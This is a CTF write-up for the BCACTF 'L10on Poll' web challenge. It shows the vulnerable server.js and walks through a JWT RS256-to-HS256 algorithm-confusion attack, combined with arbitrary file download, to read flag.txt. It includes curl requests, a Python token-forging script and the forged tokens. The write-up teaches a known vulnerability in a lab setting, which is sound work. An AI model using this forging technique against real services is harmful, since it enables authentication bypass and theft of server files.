# L10on Poll | Web
### Solution
From ctf we have got url to website, package.json and server.ts
##### server.js
```jsimport Koa from 'koa';import koaStatic from 'koa-static';import Router from '@koa/router';import jwt from 'jsonwebtoken';import {readFileSync} from 'fs';import {fileURLToPath} from 'url';import {dirname, join} from 'path';import bodyParser from 'koa-bodyparser';import send from 'koa-send';
const __dirname = dirname(fileURLToPath(import.meta.url));
let yesVotes = 0;let noVotes = 0;
const privateKey = readFileSync(join(__dirname, "key.priv"), "utf8");const publicKey = readFileSync(join(__dirname, "key"), "utf8");const msgs = readFileSync(join(__dirname, "errormessages"), "utf8").split("\n").filter(s => s.length > 0);/** @type {import("./languages.json")} */const languages = JSON.parse(readFileSync(join(__dirname, "languages.json"), "utf8"));
const languageRegex = /^[a-z]+$/;
const app = new Koa();const router = new Router();
/** * @param {string} language * @returns {string} */function generateToken(language) {    return jwt.sign({language}, privateKey, {algorithm: "RS256"});}
router.get("/localisation-file", async ctx => {    const token = ctx.cookies.get("lion-token");    /** @type {string} */    let language;    if (token) {        const payload = await new Promise((resolve, reject) => {            try {                jwt.verify(token, publicKey, (err, result) => err ? reject(err) : resolve(result));            } catch (e) {                reject(e);            }        });        language = payload.language;    } else {        language = languages[Math.floor(Math.random() * languages.length)].id;        ctx.cookies.set("lion-token", generateToken(language));    }    await send(ctx, language, {root: __dirname});});
router.post("/localization-language", async ctx => {    const language = ctx.request.body?.language;    if (typeof language === "string") {        if (language.match(languageRegex)) {            ctx.cookies.set("lion-token", generateToken(language));        } else {            ctx.throw(400, msgs[Math.floor(Math.random() * msgs.length)]);        }    } else {        ctx.throw(400, "no language");    }    ctx.redirect("/");});
router.get("/languages", async ctx => {    ctx.body = languages;});
router.post("/y", async ctx => {    yesVotes++;    ctx.body = [yesVotes, noVotes];});
router.post("/n", async ctx => {    noVotes++;    ctx.body = [yesVotes, noVotes];});
app.use(bodyParser());app.use(router.routes());app.use(router.allowedMethods());app.use(koaStatic(join(__dirname, "../public")));app.listen(1337);```
##### package.json
```json{  "dependencies": {    "@koa/router": "^10.0.0",    "jsonwebtoken": "^3.2.2",    "koa": "^2.13.1",    "koa-bodyparser": "^4.3.0",    "koa-send": "^5.0.1",    "koa-static": "^5.0.0"  },  "type": "module",  "scripts": {    "start": "node server.js"  }}```
To get the flag we need to read the content of a flag.txt from server. That give us the hint that we need to search for some way to read any file from server. Website have `select language` functionality. After quick look at source code of server.js we can see that information about selected language is stored in cookie as a JWT. In this case to create signature of JWT server use private key and to verify it layer - public key.
Further, in the code we can see subpage `/localization-language` that apparently allow us to select our language and return JWT signed with private key.Next subpage that is worth attention is `/localisation-file`, because with use of it we can download file with translations for all provided languages.
```bash$ curl "http://web.bcactf.com:49159/localization-language" -X POST -H "Content-Type:application/json" --data-raw '{"language": "key"}' -c cookie.txt```
With command above I sent post request and in return I have got signed JWT with selected language as "*key*". Request with created JWT to `/localisation-file` allowed me to download file specified in *language* parameter.
```bash$ curl "http://web.bcactf.com:49159/localisation-file" --cookie "lion-token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJsYW5ndWFnZSI6ImtleSIsImlhdCI6MTYyMzY4MjQwMX0.Dyrr6Z3wWz2pmU5UeY1Xool2LSu5AG8D7tg_N-g8jFtGypXTvLYzQ4fWvmdbkT2S6oL5ptGvlo-8SugaxmX07Gr2Av4aOHnJahIoaCG6zRSqkYIrANJLjPM-qbX3cEvJZSG2ElC9sW6GKBzFTpIqziSZPUyt_NPn3dBKgW3jxrE"```
This request resulted with server public key:
```txt-----BEGIN PUBLIC KEY-----MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCRaHtUpvSkcf2KCwXTiX48TjxfbUVFn7YimqGPQbwTnE0WfR5SxLK/DH0os9jCCeb7pJ08AbHFBzQNUfbg47xI3aJhPMdjL/w3iqfc56C7lt59u4TeOYc7kguph/GTYDPDZkgtbkFJmbkbg9MvV723U1PWM7N2P4b2Xf3p7ZtaewIDAQAB-----END PUBLIC KEY-----```
We can't download any file with character other than lower case a-z, because of regex in `/localisation-language`, but if we could skip this step and sign JWT by our self this would not be a problem. So I start searching.On [jwt.io](https://jwt.io) website, below token editor, I found yellow, warning rectangle with link to [this article](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/) about vulnerabilities in JWT token with asymmetric keys.
In article I read about vulnerability in old version of JWT that mislaid decoder that token was encoded not with rsa key, but with password. Because of that I could encode my own JWT with language parameter as a `flag.txt` andencode it with public key. In this case server will try to verify my token by decoding it with provided to function password - public key.
With that knowledge I wrote small python script to generate JWT:
```pyimport jwt
with open("key.pub", "r") as f:    secret = f.read()
encoded_jwt = jwt.encode({"language": "flag.txt", "iat": "1623478547"}, secret, algorithm="HS256")print(encoded_jwt)```Generated JWT:```txteyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsYW5ndWFnZSI6ImZsYWcudHh0IiwiaWF0IjoiMTYyMzQ3ODU0NyJ9.wk7fc3wR1gU4cIRs2ZXT0FYC0gLaN0EWkNpyfIWUlpg```
### Flag
bcactf{h3_c0mes_Ur74hshR}
#### Credits
- Writeup by [HuntClauss](https://ctftime.org/user/106464)- Solved by [HuntClauss](https://ctftime.org/user/106464)- WaletSec 2021
#### License
**CC BY 4.0** WaletSec + HuntClauss